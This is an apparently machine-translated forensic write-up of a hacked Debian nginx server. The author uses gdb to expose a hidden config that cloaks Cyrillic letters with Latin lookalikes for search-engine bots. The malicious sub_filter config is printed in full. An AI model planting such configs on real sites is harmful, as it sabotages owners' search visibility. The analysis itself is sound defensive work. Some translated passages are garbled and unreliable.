Når 'a' ikke er lik 'a'. I kjølvannet av et hack

En svært ubehagelig historie skjedde med en av vennene mine. Men så ubehagelig som det viste seg å være for Mikhail, var det like underholdende for meg.

Jeg må si at vennen min er ganske UNIX-bruker: kan installere systemet selv mysql, php og gjør enkle innstillinger nginx.
Og han har et dusin eller halvannet nettsteder dedikert til byggeverktøy.

En av disse nettstedene dedikert til motorsager sitter godt på toppen av søkemotorene. Denne siden er en ikke-kommersiell anmelder, men noen har fått for vane å angripe den. At DDoS, så brute force, så vil de skrive obskøne kommentarer og sende overgrep til vertskapet og til RKN.
Plutselig roet alt seg og denne roen viste seg å ikke være bra, og siden begynte gradvis å forlate de øverste linjene i søkeresultatene.

Når 'a' ikke er lik 'a'. I kjølvannet av et hack

Det var et ordtak, så selve adminens historie.

Det nærmet seg leggetid da telefonen ringte: «San, vil du ikke se på serveren min? Det virker for meg som om jeg ble hacket, jeg kan ikke bevise det, men følelsen har ikke forlatt meg den tredje uken. Kanskje det bare er på tide at jeg får behandling for paranoia?»

Det som fulgte var en halvtimes diskusjon som kan oppsummeres som følger:

  • jorden for hacking var ganske fruktbar;
  • en angriper kan få superbrukerrettigheter;
  • angrepet (hvis det fant sted) var rettet spesifikt mot dette stedet;
  • problemområder er korrigert, og du trenger bare å forstå om det var noen penetrasjon;
  • hacket kunne ikke påvirke nettstedkoden og databasene.

Angående det siste punktet.

Når 'a' ikke er lik 'a'. I kjølvannet av et hack

Bare den hvite frontend-IP-en ser ut i verden. Det er ingen utveksling mellom backends og frontend bortsett fra http(er), brukerne/passordene er forskjellige, ingen nøkler ble utvekslet. På grå adresser er alle porter unntatt 80/443 stengt. Hvite backend-IP-er er bare kjent for to brukere, som Mikhail stoler fullstendig på.

Installert på fronten Debian 9 og når anropet foretas, er systemet isolert fra verden av en ekstern brannmur og stoppet.

"Ok, gi meg tilgang," bestemmer jeg meg for å utsette søvnen i en time. "Jeg vil se med mine egne øyne."

Her og videre:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Ser etter et mulig hack

Jeg starter serveren, først inn redningsmodus. Jeg monterer diskene og blar gjennom dem autent-tømmerstokker, historie, systemlogger, etc., når det er mulig, sjekker jeg datoene for filoppretting, selv om jeg forstår at en vanlig cracker ville ha "sveipet opp" etter seg selv, og Misha hadde allerede "tråkket ned" mye mens han lette etter seg selv .

Jeg starter i normal modus, forstår ennå ikke helt hva jeg skal se etter, jeg studerer konfigurasjonene. Først av alt er jeg interessert i nginx siden det generelt ikke er noe annet på frontend enn det.
Konfigurasjonene er små, godt strukturert i et dusin filer, jeg ser bare gjennom dem katt'å en etter en. Alt ser ut til å være rent, men du vet aldri om jeg har gått glipp av noe inkludere, la meg lage en fullstendig liste:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Jeg forsto ikke: "Hvor er oppføringen?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Et annet spørsmål legges til listespørsmålet: "Hvorfor en så gammel versjon av nginx?"

I tillegg mener systemet at den nyeste versjonen er installert:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Jeg ringer:
- Misha, hvorfor satte du deg sammen igjen nginx?
– Vent, jeg vet ikke engang hvordan jeg skal gjøre dette!
- Ok, vel, gå å sov...

Nginx det er tydelig gjenoppbygd og utdataene fra oppføringen ved hjelp av "-T" er skjult av en grunn. Det er ikke lenger noen tvil om hacking, og du kan ganske enkelt godta det og (siden Misha uansett erstattet serveren med en ny) vurdere problemet som løst.

Og faktisk, siden noen fikk rettighetene root'ah, da er det bare fornuftig å gjøre det installer systemet på nytt, og det var nytteløst å lete etter hva som var galt der, men denne gangen beseiret nysgjerrigheten søvnen. Hvordan kan vi finne ut hva de ønsket å skjule for oss?

La oss prøve å spore:

$ strace nginx -T

Vi ser på det, det er tydeligvis ikke nok linjer i sporet a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Bare for moro skyld, la oss sammenligne funnene.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Jeg tror en del av koden /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ble brakt til skjemaet:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

eller

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

derfor vises ikke listen med "-T".

Men hvordan kan vi se konfigurasjonen vår?

Hvis min tanke er riktig og problemet bare er i variabelen ngx_dump_config la oss prøve å installere den med gdb, heldigvis er det en nøkkel --med-cc-opt -g presentere og håper at optimalisering -O2 det vil ikke skade oss. Samtidig, siden jeg ikke vet hvordan ngx_dump_config kunne behandles i tilfelle 'T':, vil vi ikke kalle denne blokken, men installere den ved hjelp av sak 't':

Hvorfor du kan bruke "-t" så vel som "-T"Blokkbehandling if(ngx_dump_config) skjer inne if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Selvfølgelig, hvis koden endres i denne delen og ikke i tilfelle 'T':, da vil ikke metoden min fungere.

Test nginx.confEtter å ha løst problemet eksperimentelt, ble det fastslått at en minimumskonfigurasjon kreves for at skadevaren skal fungere nginx type:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Vi vil bruke det for korthet i artikkelen.

Start debuggeren

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Steg for steg:

  • angi et bruddpunkt i funksjonen main ()
  • starte programmet
  • endre verdien til variabelen som bestemmer utdataene til konfigurasjonen ngx_dump_config=1
  • fortsette/avslutte programmet

Som vi kan se, er den virkelige konfigurasjonen forskjellig fra vår, vi velger en parasittisk del fra den:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

La oss ta en titt på hva som skjer her i rekkefølge.

Fast bestemt User-Agentsin yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Tjenestesider er ekskludert wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Og for de som faller inn under begge de ovennevnte forholdene

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

i teksten html-sider endres 'O''eller' и 'EN''en':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Det stemmer, den eneste subtiliteten er det 'a' != 'a' så vel som 'o' != 'o':

Når 'a' ikke er lik 'a'. I kjølvannet av et hack

Dermed mottar søkemotorroboter, i stedet for vanlig 100 % kyrillisk tekst, modifisert søppel fortynnet med latin 'en' и 'eller'. Jeg tør ikke diskutere hvordan dette påvirker SEO, men det er usannsynlig at et slikt virvar av bokstaver vil ha en positiv innvirkning på plasseringer i søkeresultatene.

Hva kan jeg si, gutter med fantasi.

referanser

Feilsøking med GDB
gdb(1) — Linux man-side
strace(1) — Linux man-side
Nginx - Modul ngx_http_sub_module
Om sager, motorsager og elektriske sager

Kilde: www.habr.com

Legg til en kommentar